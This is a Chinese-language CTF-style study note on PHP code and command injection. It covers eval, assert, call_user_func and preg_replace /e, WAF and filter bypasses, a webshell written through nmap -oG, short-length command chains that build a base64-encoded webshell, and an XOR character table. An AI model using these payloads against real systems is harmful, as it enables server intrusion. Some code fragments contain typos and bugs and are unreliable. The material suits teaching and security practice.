代码 命令执行
代码/命令执行
概念
由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器执行
代码/命令注入攻击中web服务器没有过滤类似system()、eval()、exec()等函数的传入参数是该漏洞的主要原因
代码注入相关函数
eval()
<?php
highlight_file(_FILE_);
$a='phpinfo();';
eval($a);
?>
Mixed eval(string code_str)
eval-把字符串作为PHP代码执行
Code_str是PHP代码字符串
如果是:eval('phpinfo();'); 会显示phpinfo
但是如果是eval('phpinfo()'); 没有分号,那就会报错了
eval('echo 123;'); 会打印123
菜刀php7就连不上了,推荐蚁剑,而且蚁剑开源,不用担心后门问题
assert()
<?php
error_reportion(E_ALL);
highlight_file(_FILE_);
#$a='echo 12345;';
#assert($a);
$a='eval("echo`pwd`;")';
assert($a);
echo 123;
?>
跟eval()不同,如果只是传一个字符串那还是不会执行,需要函数配合
assert("echo 123;"); 报错
assert("eval("echo 123;")");才可以正常输出123
call_user_func()
<?php
highlight_file(_FILE_);
$a='system';
$b='pwd';
call_user_func($a,$b);
call_user_func('assert','phpinfo()');
?>
$a='system';
$b='pwd';
call_user_func($a,$b),第一个参数是回调函数,第二个是给调用的函数传递的参数
就会执行system('pwd')
以下函数不能被call_user_func()调用:
array()、echo()、empty()、eval()、exit()、isset()、list()、print()、unset()
call_user_func_array()
$a='assert';
$b=array('phpinfo()');
call_user_func_array($a,$b) 第一个参数是被调用的回调函数,第二个参数是要被传入回调函数的数组
create_function()
<?php
highlight_file(_FILE_);
$a=create_function('$code','echo $code;');
$b='hello';
$a($b);
$a='phpinfo();';
$b=create_fuction(' ',$a);
$b();
?>
$a=create_function('$code','echo $code;');
$b='hello';
$a($b);
创建了一个匿名函数,直接给了$a,第一个参定义了一个参数,第二个参数定义了执行效果
array_map()
array_map 为数组的每个元素应用回调函数
<?php
highlight_file(_FILE_);
$a=$_GET['a'];
$b=$_GET['b'];
$array[0]=$b;
$c=array_map($a,$array);
?>
usort()
使用用户自定义的比较函数对数组中的值进行排序
<?php
highlight_file(_FILE_);
usort(...$_GET);
#usort($_GET[1],'assert')
?>
利用的时候要传两个参数:1[]=phpinfo&1[]=123&2=assert,穿的命令要放在数组的第一个
${phpinfo}
${里面的命令当作php代码执行}
命令注入相关函数
system()
执行系统命令
<?php
highlight_file(_FILE_);
system('pwd');
system('whoami');
?>
exec()
不直接返回结果 echo 只返回结果的最后一行,可以exec('ls',$a) var_dump($a)
passthur()
类似system直接返回结果
shell_exec()
还是要用var_dump(exec('ls'));
``运算符
echo ls
会直接打印出 ls 产生的结果
preg_replace /e
执行一个正则表达式的搜索和替换
preg_replace($pattern, $replacement, $subject)
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换
例如
<?php
$str = 'fl ag';
$str = preg_replace('/\s+/', ' ', $str);
echo $str;// 将会改变为'fl ag'
?>
如果您尝试匹配该字符,则应转义以下内容
\ ^。 $ | ()[]
* +? {},
特殊字符定义
\引用下一个元字符
^匹配行首
。匹配任何字符(换行符除外)
$匹配行尾(或在换行符之前)
|轮换
()分组[]角色类别
*匹配0次或更多次
+匹配1次或更多次
?匹配1或0次
{n}完全匹配n次
{n,}至少匹配n次
{n,m}至少匹配n次,但不超过m次
更多特殊字符的东西
\t 标签(HT,TAB)
\n 换行符(LF,NL)
\r 返回(CR)
\f 换页(FF)
\a 警报(响铃)(BEL)
\e 转义(认为troff)(ESC)
\033 八进制字符(以PDP-11为例)
\x1B 十六进制字符
\c[ 控制字符
\l 小写的下一个字符(想想vi)
\u 大写的下一个字符(想想vi)
\L 小写字母到\ E(想vi)
\U 大写字母直到\ E(想vi)
\E 结束案例修改(想想vi)
\Q 引用(禁用)模式元字符,直到\ E
甚至更多特殊字符
\w 匹配一个“单词”字符(字母数字加“ _”)
\W 匹配非单词字符
\s 匹配空白字符
\S 匹配非空格字符
\d 匹配数字字符
\D 匹配一个非数字字符
\b 匹配单词边界
\B 匹配非(单词边界)
\A 仅在字符串开头匹配
\Z 仅在字符串末尾或换行符末尾匹配
\z 仅在字符串末尾匹配
\G 仅在上一个m // g停止的地方匹配(仅适用于/ g)
如果他的 $pattern 有一个 /e 的修饰符,则可能有代码执行的风险
<?php
function complexStrtolower($regex,$value){
return preg_replace(
'/('. $regex . ')/ei',
'strtolower("\\1")',
$value
);
}
foreach($_GET as $regex => $value){
echo complexStrtolower($regex,$value) . "\n";
}
print_r($_GET);
?>
相当于 eval('strtolower("\1");')
而 \1 就是 \1 也就是匹配到的第一个
如果是这样的话就可以执行 phpinfo
<?php
preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}');
?>
但是如果传入的话 .
会被替换为 _
,可以用其他通配符代替,比如\S*
命令执行绕过
<?php
$rce ="echo";
system($rce.$_GET[1])
?>
如果传参1=123,就会打印123,这是系统调用echo函数的原因
绕过方法
在存在过滤的时候直接使用 ? 代替
例如 flag被过滤了,直接 cat ????.txt 就行
PHP 字符串解析特性
当 php 查询字符串进行解析的时候会将某些字符删除或用下划线代替
参考:https://www.freebuf.com/articles/web/213359.html
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}
这道题目中 WAF 的存在使得没法给 num 传字符,但是如果在 num 前面加上个空格,那样 WAF 在检测的时候就不会检测到 num 这个参数,但是 PHP在解析的时候会把空格删掉,这样就可以命令执行了
换行符
%0a
回车符
%0d
分号
;
后台进程
&
管道符
|
echo 'ls'|bash
把左边的输出作为右边的输入
逻辑
|| &&
空格代替
可以用下面这些来代替空格:
${IFS}
<
$IFS
$IFS$9(这个数字随意)
%09 在url中传递参数
$a=l;$b=s;$a$b -> ls
base64编码
echo d2hvYW1p| base64 -d
d2hvYW1p是whoami的b64编码
结果就是whoami的结果
echo Y2F0IGZsYWcucGhw|base64 -d|sh
额,备份一下
可以直接 cat ls
把反引号内的命令输出作为输入给 cat
echo Y2F0IGZsYWcudHh0|base64 -d
|base64
escapeshellarg&escapeshellcmd
escapeshellarg
**
字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
string escapeshellarg(string $arg)
在执行命令的时候,如果外面包裹的是双引号,是可以正常的执行的,要是能让他双引号拼接的话说不定...
escapeshellcmd
对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义
在 &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF 前插入反斜线
转义了 ;
实际执行的命令是 ls '/root;' 'id'
两个结合起来,如果先用了 escapeshellarg,后用了 escapeshellcmd:
例题:[BUUCTF 2018]Online Tool
就看这些
<?php
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
想通过 nmap 的 -oG 把命令写入一个文件里面
' <?php eval($_POST["v"]);?> -oG shell.php '
首先经过 escapeshellarg,处理之后的样子↓
''\'' <?php eval($_POST["v"]);?> -oG shell.php '\'''
然后经过 escapeshellcmd 转义后:
''\'' <\?php eval(\$_POST["v"])\;\?> -oG shell.php '\'''
然后实际上他就是
nmap -T5 -sT -Pn --host-timeout 2 -F \ <?php eval($_POST["v"]);?> -oG shell.php \
ps.这个题 flag 在根目录:/flag
无回显
延时
比如:ls|sleep 3
延时3秒,就说明执行了命令
HTTP请求
DNS请求
CEYE
可控字符串长度受限
15个可控字符
<?php
highlight_file(_FILE_);
if(strlen($_GET[1])<15){
echo strlen($_GET[1]);
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>
一个>是写入
两个是追加
有的需要反斜线来告诉他是字符
echo /<?php >1
echo eval(>>1
echo \$_GET>>1
echo [1]>>1
echo )\;>>1
这样才能写入:
<?php
eval(
$_GET
[1]
};
7个可控字符
<?php
highlight_file(_FILE_);
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
命令 > 文件名
会将结果输出到文件中
w>hp
w>1.p
w>d\>
w>\ -
w>e64
w>bas
w>\|
w>w==
w>gpO
w>mby
w>aW5
w>2hv
w>Agb
w>waH
w>PD9
w>o\
w>ech
ls -t>0 按照时间排序拼接
sh 0 执行
5个可控字符
其实可以直接>文件名
ls\
ls>a
此时目录下有ls 文件名
-t\
>0
ls>>a
4位可控字符
* 只带当前目录下文件
相当于把目录下的文件名拼接成一句话来运行
rev 会把文件倒过来输出
如果存在文件名:rev v v里面内容是12345
* 的效果就是输出54321,相当于给rev传递了一个v的参数
注意是每一行反过来,不是整个的
ls会把每个结果作为一行
dir会把所有的拼成一行
整个过程:
f> 最终生成的文件名,为了不影响 dir 要把名字改的在d后面
ht-
sl
dir 生成dir文件,然后 * 就是dir的效果了
>v 把dir的效果输出到v里面
rev 创建一个v
v>0 反向结果输出到0
sh 0 运行
无字母数字
将非字母、数字的字符经过各种变化最终构造成a-z中的任意字符
取反
自增
异或
<?php
$a = '~!@#$%^&*()_+\|/?.,<>`-={}[]';
for($i = 0;$i<strlen($a);$i++){
for($j=0;$j<strlen($a);$j++){
if(ord($a[$i]^$a[$j])>64&&ord($a[$i]^$a[$j])<91){
echo $a[$i]. ' xor '.$a[$j].' is ';
echo chr(ord($a[$i]^$a[$j])). ' ';
echo ord($a[$i]^$a[$j]);
echo "\n<br>";
}elseif(ord($a[$i]^$a[$j])>96&&ord($a[$i]^$a[$j])<122){
echo $a[$i].' xor '.$a[$j].' is ';
echo chr(ord($a[$i]^$a[$i])).' ';
echo ' '.ord($a[$i]^$a[$j]);
echo "\n<br>";
}
}
}
?>
结果:
~ xor $ is Z 90
~ xor & is X 88
~ xor * is T 84
~ xor ( is V 86
~ xor ) is W 87
~ xor + is U 85
~ xor / is Q 81
~ xor ? is A 65
~ xor . is P 80
~ xor , is R 82
~ xor < is B 66
~ xor - is S 83
~ xor = is C 67
! xor @ is a 97
! xor ` is A 65
! xor { is Z 90
@ xor ! is a 97
@ xor # is c 99
@ xor $ is d 100
@ xor % is e 101
@ xor & is f 102
@ xor * is j 106
@ xor ( is h 104
@ xor ) is i 105
@ xor + is k 107
@ xor / is o 111
@ xor . is n 110
@ xor , is l 108
@ xor - is m 109
xor @ is c 99
xor ` is C 67
xor { is X 88
xor [ is x 120
$ xor ~ is Z 90
$ xor @ is d 100
$ xor \ is x 120
$ xor | is X 88
$ xor is D 68
$ xor } is Y 89
$ xor ] is y 121
% xor @ is e 101
% xor \ is y 121
% xor | is Y 89
% xor
is E 69
% xor } is X 88
% xor ] is x 120
^ xor & is x 120
^ xor * is t 116
^ xor ( is v 118
^ xor ) is w 119
^ xor + is u 117
^ xor / is q 113
^ xor ? is a 97
^ xor . is p 112
^ xor , is r 114
^ xor < is b 98
^ xor - is s 115
^ xor = is c 99
& xor ~ is X 88
& xor @ is f 102
& xor ^ is x 120
& xor _ is y 121
& xor | is Z 90
& xor is F 70
* xor ~ is T 84
* xor @ is j 106
* xor ^ is t 116
* xor _ is u 117
* xor \ is v 118
* xor | is V 86
* xor
is J 74
* xor { is Q 81
* xor } is W 87
* xor [ is q 113
* xor ] is w 119
( xor ~ is V 86
( xor @ is h 104
( xor ^ is v 118
( xor _ is w 119
( xor \ is t 116
( xor | is T 84
( xor is H 72
( xor { is S 83
( xor } is U 85
( xor [ is s 115
( xor ] is u 117
) xor ~ is W 87
) xor @ is i 105
) xor ^ is w 119
) xor _ is v 118
) xor \ is u 117
) xor | is U 85
) xor
is I 73
) xor { is R 82
) xor } is T 84
) xor [ is r 114
) xor ] is t 116
_ xor & is y 121
_ xor * is u 117
_ xor ( is w 119
_ xor ) is v 118
_ xor + is t 116
_ xor / is p 112
_ xor . is q 113
_ xor , is s 115
_ xor < is c 99
_ xor > is a 97
_ xor - is r 114
_ xor = is b 98
+ xor ~ is U 85
+ xor @ is k 107
+ xor ^ is u 117
+ xor _ is t 116
+ xor \ is w 119
+ xor | is W 87
+ xor is K 75
+ xor { is P 80
+ xor } is V 86
+ xor [ is p 112
+ xor ] is v 118
\ xor $ is x 120
\ xor % is y 121
\ xor * is v 118
\ xor ( is t 116
\ xor ) is u 117
\ xor + is w 119
\ xor / is s 115
\ xor ? is c 99
\ xor . is r 114
\ xor , is p 112
\ xor > is b 98
\ xor - is q 113
\ xor = is a 97
| xor $ is X 88
| xor % is Y 89
| xor & is Z 90
| xor * is V 86
| xor ( is T 84
| xor ) is U 85
| xor + is W 87
| xor / is S 83
| xor ? is C 67
| xor . is R 82
| xor , is P 80
| xor > is B 66
| xor - is Q 81
| xor = is A 65
/ xor ~ is Q 81
/ xor @ is o 111
/ xor ^ is q 113
/ xor _ is p 112
/ xor \ is s 115
/ xor | is S 83
/ xor
is O 79
/ xor { is T 84
/ xor } is R 82
/ xor [ is t 116
/ xor ] is r 114
? xor ~ is A 65
? xor ^ is a 97
? xor \ is c 99
? xor | is C 67
? xor { is D 68
? xor } is B 66
? xor [ is d 100
? xor ] is b 98
. xor ~ is P 80
. xor @ is n 110
. xor ^ is p 112
. xor _ is q 113
. xor \ is r 114
. xor | is R 82
. xor is N 78
. xor { is U 85
. xor } is S 83
. xor [ is u 117
. xor ] is s 115
, xor ~ is R 82
, xor @ is l 108
, xor ^ is r 114
, xor _ is s 115
, xor \ is p 112
, xor | is P 80
, xor
is L 76
, xor { is W 87
, xor } is Q 81
, xor [ is w 119
, xor ] is q 113
< xor ~ is B 66
< xor ^ is b 98
< xor _ is c 99
< xor { is G 71
< xor } is A 65
< xor [ is g 103
< xor ] is a 97
xor _ is a 97
xor \ is b 98
xor | is B 66
xor { is E 69
xor } is C 67
xor [ is e 101
xor ] is c 99
xor ! is A 65
xor # is C 67
xor $ is D 68
xor % is E 69
xor & is F 70
xor * is J 74
xor ( is H 72
xor ) is I 73
xor + is K 75
xor / is O 79
xor . is N 78
xor , is L 76
xor - is M 77 - xor ~ is S 83 - xor @ is m 109 - xor ^ is s 115 - xor _ is r 114 - xor \ is q 113 - xor | is Q 81 - xor
is M 77
- xor { is V 86
- xor } is P 80
- xor [ is v 118
- xor ] is p 112
= xor ~ is C 67
= xor ^ is c 99
= xor _ is b 98
= xor \ is a 97
= xor | is A 65
= xor { is F 70
= xor [ is f 102
{ xor ! is Z 90
{ xor # is X 88
{ xor * is Q 81
{ xor ( is S 83
{ xor ) is R 82
{ xor + is P 80
{ xor / is T 84
{ xor ? is D 68
{ xor . is U 85
{ xor , is W 87
{ xor < is G 71
{ xor > is E 69
{ xor - is V 86
{ xor = is F 70
} xor $ is Y 89
} xor % is X 88
} xor * is W 87
} xor ( is U 85
} xor ) is T 84
} xor + is V 86
} xor / is R 82
} xor ? is B 66
} xor . is S 83
} xor , is Q 81
} xor < is A 65
} xor > is C 67
} xor - is P 80
[ xor # is x 120
[ xor * is q 113
[ xor ( is s 115
[ xor ) is r 114
[ xor + is p 112
[ xor / is t 116
[ xor ? is d 100
[ xor . is u 117
[ xor , is w 119
[ xor < is g 103
[ xor > is e 101
[ xor - is v 118
[ xor = is f 102
] xor $ is y 121
] xor % is x 120
] xor * is w 119
] xor ( is u 117
] xor ) is t 116
] xor + is v 118
] xor / is r 114
] xor ? is b 98
] xor . is s 115
] xor , is q 113
] xor < is a 97
] xor > is c 99
] xor - is p 112